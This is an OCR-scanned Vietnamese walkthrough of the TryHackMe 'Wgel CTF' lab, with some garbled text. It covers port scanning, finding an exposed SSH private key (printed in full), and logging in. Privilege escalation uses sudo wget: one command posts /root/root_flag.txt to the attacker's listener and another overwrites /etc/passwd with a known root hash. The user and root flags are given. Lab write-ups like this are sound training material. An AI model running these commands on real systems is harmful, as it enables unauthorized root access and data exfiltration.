Server khai thac:

https://tryvhackme.com/room/wgelctf

Théng tin dia chi ban dau

- May kali sau khi VPN: 10.4.43.108
- May server: 10.10.207.69

4 Tién hanh viéc thu thap théng tin
Quét cac port TCP

nmap -vv -14 -p- -sV -0 -Pn 10.10.207.69

Nmap scan report for 10.10.207.69

Host is up, received user-set (0.39s latency).

Scanned at 2022-08-24 03:54:03 EDT for 833s

Not shown: 65533 closed tcp ports (reset)

PORT  STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))

No exact 0S matches for host (If you know what 0S is running on it, see https://nmap.org/submit/ ).

Uptime gquess: 8.936 days (since Mon Aug 15 05:39:42 2022)
Network Distance: 4 hops

TCP Sequence Prediction: Difficulty=260 (Good luck!)

IP ID Sequence Generation: ALl zeros

Service Info: 05: Linux; CPE: cpe:/o:linux:linux kernel

Quét cac port UDP
nmap -vv -14 -sU -sV -Pn 10.10.207.69

Nmap scan report for 10.10.207.69

Host is up, received user-set (0.39s latency).
Scanned at 2022-08-24 03:54:52 EDT for 1098s

Not shown: 994 closed udp ports (port-unreach)

PORT STATE SERVICE REASON VERSION
68/udp open|filtered dhcpc no-response

631/udp open|filtered ipp no-response
5353/udp open|filtered zeroconf no-response
11487 /udp open|filtered unknown no-response
21060/udp open|filtered unknown no-response
21333/udp open|filtered unknown no-response

Pa phan cac port dugc mé d3 bi twdng I(ra filtered.


https://tryhackme.com/room/wgelctf

Dua vao két qud nhan duoc thdng qua quét port TCP, ta nhan thay server cé st dung
port 80 lam web service, tién hanh truy cap:

Apache2 Ubuntu Default Page

%_

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu
Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index. html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Configuration Overview

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Ubuntu toels. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

/etc/apache2/

|-- apache2.conf

| ‘-- ports.conf
|- - mods-enabled

| |-- *.load
| “-- *,.conf
|-- conf-enabled

| *-- *.conf
|-- sites-enabled
| “-- *,.conf

Tién hanh kiém tra ma ngudn vs Ctrl + U. O day cd mot vai doan chu thich nhd sau day:
e mmn e e g g e e sty e o e i
ol
Modified from the Debian original for Ubuntu
Last updated: 2614-83-19
See: https://launchpad.net/bugs/1288690

-



=/aiv>
<!-- <div class="table of contents floating element"=
<div class="section_header section_header grey"=
TABLE OF CONTENTS
</ div>
<div class="table of contents item floating element"=>
<3 href="#about">About</a>
</div>
<div class="table of contents item floating element"=
<=a href="#changes"=Changes</a=
</div>
<div class="table of contents item floating element">
<3 href="#scope">Scope</a>
</div>
<div class="table of contents item floating element"=
<3 href="#files"=Config files</a>
</fdiv>
</div=

<l-- Jessie don't forget to udate the webiste --»
</pre>

Chua thay gi quan trong nén quét cac dir an

gobuster dir -w common-web-content.txt -u 10.10.207.69 -t 25 -x py,sh,txt,php

.htpasswd. (Status:

.hta (Status:

.htaccess (Status:

.htpasswd. (Status:

.htaccess. (Status:

.hta.py (Status:

.htpasswd. (Status:

.htaccess. (Status:

.hta.sh (Status:

.htpasswd. (Status:

.hta. txt (Status:

.htaccess. (Status:

.htpasswd (Status:

.hta.php (Status:
.htaccess.php (Status:

/index.html (Status:
/server-status (Status: :
/sitemap (Status: ize: 314] [--> http://10.10.207.69/sitemap/]

/
/
/
/
/
/
/
/
/
/
/
/
/
/
/

O day, ta xac nhan cé mot dir cd ma status 301 chuyén hudng kha nghi, truy cap tim hiéu
van dé.



unapp Template

A 10.10.207.69

HOME WORKS SERVICES BLOG ABOUT SHOP CONTACT

Take on your biggest projects and goals

with Unapp's high quality features

Get premium

Sau khi lugt qua trang web, minh 1am tudng day dudong link d3 dwoc dua dén mot project
open source nao d6. Nhung khi nhin k¥ lai cé thé thay url van con 3 dia chi ctia server dang
khai thac -> day that chat |a trang chinh cla server nay.

Ludt qua mot vong khéng thay gi ndi bat, lic nay nén quét dir an tir chinh website nay.
gobuster dir -w common-web-content.txt -u http://10.10.207.69/sitemap/ -t 25 -x py,sh,txt,php

2022/08/24 04:27:47 Start gobuster in directory enumeration mode

.hta.php (Status:

.htpasswd. (Status: ¢
.htaccess (Status: 4
.hta (Status: 4
.htpasswd (Status: 4
.htaccess. (Status: 4
.htpasswd. (Status: ¢
.hta.py (Status: 4
.htaccess.sh (Status: ¢
.htpasswd. (Status: 4
.hta.sh (Status: £

s N s S S N i S S N L e s

.htaccess. (Status: 4
(

.ssh (Status: ) i --> http://10.10.207.69/sitemap/.ssh/]

.hta.txt Status: ¢
.htpasswd. Status: ¢
/ .htaccess. Status: ¢

(
(
/ (
/css (Status: ize: --> http://10.10.207.69/sitemap/css/]
(
(

i

/fonts Status: ize: --> http://10.10.207.69/sitemap/fonts/]
/images (Status: ize: --> http://10.10.207.69/sitemap/images/]
/index.html (Status: i

j (Status: ) ize: --> http://10.10.207.69/sitemap/js/]




Chung ta nhan thdy mot vai dir an cé status code 1a 301 (chuyén hudng). Cé thé check tirng
cai nhung théng thudng cac dir /css, /fonts, /images, /js |a nhitng tap tin lién quan dén tao
giao dién cho web. Cai quan trong & day chinh la dir /.ssh.

£ 10.10.207.69

Index of /sitemap/.ssh

Name Last modified Size Description

& Parent Directory -
[#id rsa 2019-10-26 09:24 1.6K

Apache/2.4.18 (Ubuntu) Server at 10.10.207.69 Port 80

Kiém tra file id_rsa trén

EGIN RSA PRIVATE KEY----

'ObEJquC"lrFFbpU 01MYR;D4KanU G61
Tf07u7nc <h / _|N0ndU61k;HafH0b]P

f1U+Q2thFL 2
AnARHKQNeUO FEGU]C;QQJHBB’thhleJU c706y
M7OYKPS1VCil pH]3dGl'uhﬂm;UND7PD'9A1ADF”U1EObG
h?JJn'uHQTJNUD C RIXFYECWNW+iHs BOCWILFTCA’AhHLqud
fGXNOb49CFOBMLBY /dcWpHu+dBKc nM7alLd
rEA+\- XndZu

lbdwhgfghfpaprNEFer
rUnETQLWdTncUHm+LBSSZ_

VILPp7eW ( :
2 »aIdNAnhHG; :iqDE:: bBF’gflkb 7 cE S fUuDeIpy@REJUKThXTFKEW
'E 5mEHIlqutC- g uI4FP51TS

rios7dMiVPtxt 'Qq9iB8/ 7 4GbYuUHmI
(GhMokncVyZw
DaWnitoMTd
sguMLpNgvcWVX
yBg4vPBBdHCE]eIpFFEBGY
\IVATE KEY-

Kién thiec ly thuyét:

.ssh directory la directory duoc system admin tao ra dung dé luu trit cac thdng tin quan
trong s& dugc st dung trong qua trinh xac thuc ngudi dung déng nhap vao hé théng thong
qua giao thirc SSH.



Théng tin quan trong nhat duoc luu trit bén trong directory .ssh chinh 1a nhitng file id_rsa.
File id_rsa chita password da dugc m3 hoa ciia mdt account SSH; trong nhiéu trudng hop,
c6 thé st dung file id_rsa dé d3ng nhap vao hé théng théng qua giao thirc SSH ma khong
can phai biét mat khau gbc.

Trong trudng hop hé thdng khéng chdp nhan file id_rsa va yéu cau nhap mat khau géc, ¢
thé chi can crack file id_rsa la xong.

Cach crack link sau.

Hay ndi cach khac, néu cé dugc username va file id_rsa cia mot SSH client, nhiéu kha ndng
ta hoan toan co thé dung thong tin nay dé ddng nhap vao hé théng thong qua giao thic
SSH.

O hién tai, ching ta du doén tén déng nhap 1a jessie (day 1a tén lc kiém tra m3 ngudn
trang web ban dau) va cé file id_rsa, ching ta s& th& nghiém xdm nhap xem sao nhé.

<!-- Jessie don't forget to udate the webiste --=
</pre=

Do d4, ta can copy toan bd ndi dung luu vé mbt file trén may véi tén laid_rsa

File Actions Edit View Help

GNU nano 6.3
BEGIN RSA PRIVATE KEY
MIIEowIBAAKCAQEA2mujeBv3MEQFCel8yvjgDz066+8GzOW72HI5tvG8bj7Lz380
m+JYAquy301Sp5jH/bhcvYLsK+T9zEdzHmjKDtZN2cYgwHwOdDadSXWFf9W2gc3x
W69vj kHLIs+1Qi@bEIvqpCZ1rFFSpVO0;jVYRXQ4KTAawBsCG61A7G07vLZPRiKsP
y4192StXQYuZ0cUvx8UkhpgxWy/009ceMNondU61kyHafKobJP7Py5QnH7cP/psr
+J5M/ fVBoKPcPXa71mA/ZUioimChBPV/1i/0za®FzVulZdnSPtS7LzPjYFgxnm/BH
Wo/Lmln4FLzLb1T31p0oTtTKuUQWxHf7cN8v6QIDAQABAOIBAFZDKpV2HgL+6iqG
/1U+Q2dhXFLv3PWhadXLKEzbXfsAbATfwCjwCgZXUb9mFoNI2Ic4PsPjbqyCO2LmE
AnAhHKQNeUONn3ymGJEU91iIMIigh5xZGwX0FBoUJCs9QIMBBZthWyL1JUKic7GvPa
M7QYKP51VCilj36r0d1ygFSRkP6jZp0OpM33dG1/ubom70WDZPDS9AjAOKYulBobG
SUM+uxh73In8uM9J4NvQPKC1ORIXFYECWNW+iHsBOCWLcF7CAZADWLSJgd6TcGTv
2KBA6YcfGXNOb49CFOBMLBY/dcWpHu+d0KcruHTeTnM7aLdrexpiMJI3XHVQ4QRP2
p3xz9QECgYEA+VXndZU98FT+armRv8iwuCOAmN8p7tD1W9S2evIEASUTCsDzmsDj
7pU08zziTXgeDENrczluo®e3bL13MiZeFe9HQNMpVOX+vEaCZd6ZNFbI4R889D71
dcXDvkNRbw42ZWx8TawzwXFVhn8Rs9fMwP1bdVh9f9h7papfGN2FoeECgYEA4ETy
GW9eJn10tzL31TpW21nJ+KYCRIlucQUnBtQLWdTncUkm+LBS5Z6dGXEcwCrYY1fh
sh166KulTmE3GInFPKezCwd7j FWmUUKOhX6S0og7VRQZw72cmp71Yb1KRQIAONDI7
uhgbVrK/Rm+uACIJ+YD57/ZuwuhnJPirXwdaXwkCgYBMk rxN2TK3f3LPFgST8K+N
LaIN®00Q622e8TnFkmee8AVI1Pp7eWfG2tIHk1gwOIXx4Da800466QiFBb74kN3u
QJkSaIdWAnh@G/dqD63fbBP951kS7cEkokLWSNhWkffUuDeIpy®R6JuKfbXTFKBW
V35mEHIidDqtCyC/gzDKIQKBgDE+d+/b46nBK9760y9AYOgIRW+DTKYuUI4FP51T5
hRCRzsyyios7dMiVPtxtsomEHwYZiybnr3SeFGuUrlw/Qq9iB8/ZMckMGbxoUGmr
9]j/dtd0ZaI8XWGhMokncVyZwI@44ftoRcCQ+a2G40eG8TFG2ZtW2tWT40pebIsu
eyq5AoGBANCkOaWnitoMTdWZ5d+WNNCqcztoNppuoMaG7L3smUSBz6k814p4yDPb
QNF1fedEOvsguMlpNgvcWVXGINgoOOUSITxCRQFy/onH6X1T50AAW6/UXc4S7Vsg
jL8g9yBg4vPB8dHC6JeJpFFEO6VXQMFZzn6vjEab9GhnpMihrSCod
END RSA PRIVATE KEY

B¢ Help gy Write Out QI Where Is @ Cut Bl Execute K8 Location [ MV Undo
& Exit @i Read File g\ Replace Y Paste @8 Justify @ Go To Line [ % Redo

Luu lai nd va tién hanh ssh.


https://www.hackingarticles.in/beginners-guide-for-john-the-ripper-part-2/

Ddi vdi giao thire ssh, ta can st dung thém flag so véi thdong thudng dé cé thé cé thé doc
thém mot file c6 san ma khéng can password

identity_file
Selects a file from which the identity (private key) for public key authentication is
read. You can also specify a public key file to use the corresponding private key
that is loaded in ssh-agent(1l) when the private key file is not pr nt locally. The
default is ~/.ssh/id_rsa /id_ecdsa, ~/.ssh/id_ecdsa_sk, ~/. /id :

d dsa. Identity files may also be spe ie a
on file. It is possible to have multiple options
(and multiple identities specified in configuration files). If no certificates have
been e: citly specified by the directive, will also try to load
' e information from the filename obtained by appending -cert.pub to identity
filenames.

Tién hanh s& dung ssh

2 /home/kali/Desktop

| jessie@l0d.10.207.69 id rsa
The authenticity of host '10.10.207.69 (10.10.207.69)' can't be established.
ED25519 key fingerprint is SHA256:6TAPL8SGCIuyS5qsST25mG+DUIBUYpdsyoBloBpgHTc.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.10.207.69"' (ED25519) to the list of known hosts.
[CEEEEECECEEEECECEEEECECEEEECECEEEEEECEEEEEECEEEEEECEEEEEEEE]
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
(OROEEEEOEEEEREDEOEEEEDEOEEEEDEOEEEEDEOEEEEEEOEEEEEEEEEEEEEA
Permissions 0644 for 'id rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id rsa": bad permissions
jessie@l0.10.207.69's password: [j

Mot 16i gi d6 kha Ién: UNPROTECTED PRIVATE KEY FILE

Sau khi tim hiéu thi nguyén nhan [a: néu file id_rsa cho phép tat cd ngudi dung truy cap va
doc ndi dung bén trong né. Diéu nay trai véi ddc tinh an toan cla file id_rsa va chac chan
giao thirc SSH s& khéng chdp nhan mét file id_rsa nhu vay vi thiéu an toan. Nghia 13 file
id_rsa (private key) chi cho phép owner mdi truy cap duoc thoi, néu khodng file s& bj tur
chbi.
_ ® /home/kali/Desktop
total 3476

drwxr-xr-x 4 kali kali 4096 Aug 24 04:48
drwxr-xr-x kali kali 4096 Aug 24 03:54

- TWXTW- Mw- kali kali 37087 Mar 23:12 common-web-content.txt
-MW-r--r-- root root 73802 Jun 9 20:23 Exploit.exe
-TWXT-XIr-X kali kali 3826 Aug 2021 firefox-esr.desktop
-TWXTI-Xr-X root root 5161 Mar 02:50 Flag.pdf

-MW-r--r-- root root 1675 Aug 24 04:48 id rsa




O day, quyén cla file dang la cé quyén read cho tat ca ngudi dung. Do d6 can diéu chinh
lai dé phu hop vdi yéu cau.

e /home/kali/Desktop
“hmod 600 id rsa

2 /home/kali/Desktop

total 3476
drwxr-xr-x 4 kali kali 4096 Aug 24 04:48
drwxr-xr-x 17 kali kali 4096 Aug 24 03:54
-rwxrw-rw- 1 kali kali 37087 Mar 23:12 common-web-content. txt
-rw-r--r-- 1 root root 73862 Jun 20:23 Exploit.exe
-rwxr-xr-x 1 kali kali 3826 Aug 2021 firefox-esr.desktop
-MWXI-Xr-X root root 5161 Mar 02:50 Flag.pdf
] root root 1675 Aug 24 04:48 id rsa

Thir dang nhap lai bang ssh

@ /home/kali/Desktop
ssh jessie@l®.10.207.69 id rsa
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic 1686)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

8 packag an be updated.
8 updates are security updates.

Nhu vay la da dang nhap thanh cong thong qua ssh vao server.

NOTE:

Dau tién vé tén dang nhap, lam sao cé thé doan ra duoc 13 jessie. Ly do ban dau khi
dang nhap van thr dang nhap bang cac account thdng thudng nhu “admin”, “root”
thdng quan file id_rsa nay, nhung né van yéu cau nhap password -> chitng té cap
username:password nay khong phai la cla nhau. Quay lai phan thu thap théng tin

trudce do thi chi cé cai tén “jessie” nay thui.



e /home/kali/Desktop

ssh admin@l0.10.207.69 id rsa

admin@l0.10.207.69's password:

Permission denied, please try again.
admin@10.10.207.69's password:

2 /home/kali/Desktop

ssh root@l0.10.207.69 id rsa
root@l0.10.207.69's password:

Permission denied, please try again.
root@10.10.207.69's password:

- Céch slra vé viéc ban dau khong dung duoc file id_rsa thi tham khao link sau.

Sau khi d&ng nhap thanh cong thi cé thé tim duoc flag dau tién. Bi vong vong nhiéu noi
tim kiém:

jessie@CorpOne:~$ cd Documents/

jessie@CorpOne: $ 1s -la

total 12

drwxr-xr-x jessie jessie 4096 oct 26 2019

drwxr-xr-x 17 ie jessie 4096 oct 26 2019

-Mw-rw-r-- 1 jessie jessie 33 oct 26 2019 user flag.txt
jessie@CorpOne: $ cat user flag.txt
057c67131c3d5e42dd5cd3075b198 6

Theo nhu yéu cau dé bai th 2 13 phai tim root_flag, do d6 tirc 1a can phai leo thang déc
quyén |én mdi cé thé 13y flag nay.

Kiém tra cac quyén cla user hién tai:

jessie@CorpOne: $ sudo -1
Matching Defaults entries for jessie on CorpOne:
env_reset, mail badpass,
secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/

User jessie may run the following commands on CorpOne:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/wget

Diéu nay cé nghta |3 jessie cé quyén chay |énh wget v&i quyén root.

Note: t&i day la gan nhu ket duong di, va day 1a tham khdo cach gidi quyét hudng di tir
writeup.

Mot trong nhitng cach Iic nay chinh 13 dua trén viéc du doan tén file chira flag clia dé bai.
Néu nhu flag dau tién |a user_flag thi cdi thir hai co |18 |a root_flag. Vé vi tri, nd c6 thé nam
& thu muc /root do dé bai yéu ciu can leo thang ddc quyén thi mdi truy cap duoc thu muc


https://www.howtogeek.com/168119/fixing-warning-unprotected-private-key-file-on-linux/

nay. Do d4, kich ban Iic nay sé& |a dung wget dé chuyén n6i dung cua file du dodn sang may
kali dung netcap dé nhan tap tin dé (trong trudng hop |a tap tin nay co ton tai)

Trén may server thuc hién cau |énh sau:
sudo /usr/bin/wget --post-file=/root/root_flag.txt http://10.4.43.108:8888

Gidi thich vi sao phai dung sudo /usr/bin/wget ma khéng phai chi can dung wget cho cau
lénh trén? Do nhu khi ching ta dung cau Iénh “sudo -I” dé kiém tra quyén thi ta cé quyén
s& dung wget dudi quyén cla root va dudng dan cla né la /usr/bin/wget, néu chi dung
binh thudng wget thi trc |a dang chi dung véi quyén clia account hién tai tirc 1a cla jessie.

jessie@CorpOne:~$ sudo /usr/bin/wget --post-file=/root/root flag.txt http://10.4.43.108:8888
--2022-08-25 10:32:06-- http://10.4.43.108:8888/

Connecting to 10.4.43.108:8888... failed: Connection refused.

jessie@CorpOne:~$ sudo /usr/bin/wget --post-file=/root/root flag.txt http://10.4.43.108:8888

--2022-08-25 10:32:18-- http://10.4.43.108:8888/
Connecting to 10.4.43.108:8888... connected.
HTTP request sent, awaiting response... |}

Ldc nay trén may kali dung nc dé nhan file:

2 /home/kali/Desktop
8888

listening on [any] 8888 ...
connect to [10.4.43.108] from (UNKNOWN) [10.10.121.123] 57980
POST / HTTP/1.1
User-Agent: Wget/1.17.1 (linux-gnu)
Accept: */#
Accept-Encoding: identity
Host: 10.4.43.108:8888
Connection: Keep-Alive
Content-Type: application/x-www-Tform-urlencoded
Content-Length: 33

b1b968b37519ad1daab408188649263d

Va flag cia nd sé la dong in do.

Task 1 & Wgel CTF

Have fun with this easy box.

User flag

057c67131c3d5e42dd5cd3075b198fF6

Root Flag

b1b968b37519ad1daa6408188649263d
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DAY LA PHAN NGOAI LE, NANG CAO HON SO VOI PHUONG PHAP BEN TREN

Ddi vdi cach tim flag cudi cung, thi viéc dodn mang tinh may rui rat nhiéu, do d6 dé cé thé
thuc hién nang cip 1én quyén root moét cach chd ddng hon thi viéc nay doi hoi nhiéu k¥
thuat hon. Theo mot write up thi quy trinh thuc hién leo thang dic quyén clia né s& trai
gua cac giai doan nhu sau:

1. Chung ta s& tim cach tai file /etc/passwd trén Wgel vé may Kali Linux.

2. Chung ta s& tao mdt mat khau va thém vao account root trong file /etc/passwd.

3. Chung ta upload file /etc/passwd da dugc ta chinh sira 1én server thong qua cong
cu Wget vao directory /etc. Lic nay vi Wget duoc phép chay vaéi phan quyén cla
root, né sé& thay thé file passwd trong directory /etc thanh file mdi c6 kém theo gid
tri password cla root ma ta da thém vao.

4. Luc nay, ta chican dang nhap vao root v8i mat khau d3 thiét 1ap & budc 2 1a xong.

Dau tién, copy toan bd noi dung file /etc/passwd vao /tmp (day |1a noi cung cip quyén cho
toan bd user nén dé dang hoat dong hon). Sau dé tao mdt server 3o bang 1énh python
théng qua module SimpleHTTP

jessie@tnfpﬂne: : $ Cp fétcﬁpasswd /tmp/
jessie@CorpOne: $ which python3
fusr/bin/python3

jessie@CorpOne: $ cd /tmp
jessie@CorpOne: $ python3 -m http.server 8000
Serving HTTP on ©.0.0.0 port 8000

Tién hanh tai vé trén may kali

11



2 /home/kali/Desktop
wget http://10.10.207.69:8000/passwd
--2022-08-24 05:32:52-- http://10.10.207.69:8000/passwd
Connecting to 10.10.207.69:8000... connected.
HTTP request sent, awaiting response... 200 0K
Length: 2293 (2.2K) [application/octet-stream]
Saving to: ‘passwd’

passwd %[= > 2.24K --.-KB/s in 0.001s

/home/kali/Desktop

total 348
drwxr-xr-x 4 kali kali 4096 Aug
drwxr-xr-x 17 kali kali 4096 Aug
-r - rw- kali kali 37087 Mar 3 common-web-content. txt
~TW-T--r-- root root 73802 Jun 3 Exploit.exe
- FWXr-Xr-x kali kali 3826 Aug firefox-esr.desktop
-FWXr-Xr-x root root 5161 Mar Flag.pdf
-w- root root 1675 Aug 24 id rsa
drwxr-xr-x 4 kali kali 4096 Nov
- FWXIWXr-X kali kali 3338360 Mar md5collgen
- root root 2293 Aug 24 passwd

/home/kali/Desktop

oot:/root:/bin/bash
1:daemon:/usr/sbin:/usr/sbin/nologin
n:/bin:/usr/sbin/nologin

c:/bin:/bin/sync
/usr/games:/usr/sbin/nologin
n/nologin
ar/spool/lpd:/usr, /nologin
1:/var/mail:/usr/sbin/nologin
9:news:/var/spool/news:/usr/sbin/nologin
10:10:uucp: /var/spool/uucp:/usr/sbin/nologin
3:proxy:/bin:/usr/sbin/nologin
twww-data:/var/www:/usr/sbin/nologin
:34:backup:/var/backups:/usr/shin/nologin
8:Mailing List Manager:/var/list:/usr/sbin/nologin
d:/var/run/ircd:/usr/sbin/nologin
:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
:X:65534:65534:nobody: /nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network 01:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolv 02:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-prox :103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
4: :/home/syslog:/bin/false
105:65534: : /nonexistent:/bin/Talse
bus:x:106:110: : /var/run/dbus:/bin/false

lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false

hoopsi 109:117::/nonexistent:/bin/false

i-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false

¢ 11:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:5Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Qops Tracking Daemon,,,:/:/bin/false

Chung ta s& dung cdng cu openssl trén Kali Linux dé tao mot password m3 hda cé clng
thuat todn ma hoéa vdi file /etc/passwd nhu bén dudi, chon password la iloveyoul23 nhé:
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e /home/kali/Desktop
penssl passwd iloveyoul23

SlSZPVIwaG$geanqau0vBFUvBJe02aH1

Thém password vao file passwd khi ndy, trudc khi thay doi:
root:x:0:0:root:/root:/bin/bash
daem@n x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
:2:bin:/bin:/usr/sbin/nologin
:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

o II

Sau khi thay ddi, password s& nam tai vi tri ky tu “x” sau tlr root ban dau.
root:$1$ZPVIfwCG$gepnHgauvBFUvBle02aH1:0:0: root: /root:/bin/bash
daemon:x:l: L:daemon:/usr/sbin: fusr/sbin/nologin
:/bin:/usr/sbin/nologinf
:/dev:/usr/sbin/nologin

Tai sao lai thay d6i chd nay thi doc link sau.
Tiép theo can dua nguoc file nay vé may may server.

Tao server bang python trén may kali

® /home/kali/Desktop
ython3 http.server 8000
%eru1nq HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)

Trén may server tai file vé théng qua wget

iessie@[orpﬂne: $ wéet httpffflﬂ:4.43.198:3ﬂﬂﬂfpasswd -0 /etc/passwd
{etc{passud: Permission denied

Ldc nay thi néu tai binh thudng thi s& bi chdn do khéng cé quyén. Ma khi kiém tra phia trén
thi user jessie cé quyén st dung wget dudi quyén root ma khéng can mat khau.

jessie@CorpOne: $ sudo -1
Matching Defaults entries for jessie on CorpOne:
env_reset, mail badpass,
secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/

User jessie may run the following commands on CorpOne:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/wget

Cau lénh day da luc nay sé la
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sudo /usr/bin/wget http://10.4.43.108:8000/passwd -O /etc/passwd

jessie@CorpOne:~$ sudo /usr/bin/wget http://10.4.43.108:8000/passwd -0 /etc/passwd
--2022-08-25 10:43:36-- http://10.4.43.108:8000/passwd

Connecting to 10.4.43.108:8000... connected.

HTTP request sent, awaiting response... 200 0K

Length: 2326 (2,3K) [application/octet-stream]

Saving to: ‘/etc/passwd’
/etc/passwd E --.-KB/s in 0,001s

2022-08-25 10:43:37 (3,73 MB/s) - ‘/etc/passwd’ saved [2326/2326]

Ldc nay file password mdi clia ching ta d3 ghi dé |én file cGa hé théng, tic 1a ¢ thé nang
|én quyén root vdi password d3 tao trudc do (password: iloveyoul123).

jessie@CorpOne:~$ su

Password:

root@CorpOne: /home/jessie# whoami
root

root@orpOne: /home/jessie# |

Dén day cd thé thuc hién viéc tim flag

root@CorpOne: /home/jessie# cd /root
root@CorpOne:-# 1s -la
total 28
root root 4096 oct 26
root root 4096 oct 26
root root 3106 oct 22 .bashrc
root root 4096 feb 27

drwxr-xr-x root root 4096 oct 26

-rwW-r--r-- root root 148 aug 17 .profile
-rwW-r--r-- root root 33 oct 26 root flag.txt
root@CorpOne:~# cat root flag.txt
b1b968b37519ad1daab408188649263d

root@CorpOne:~# |
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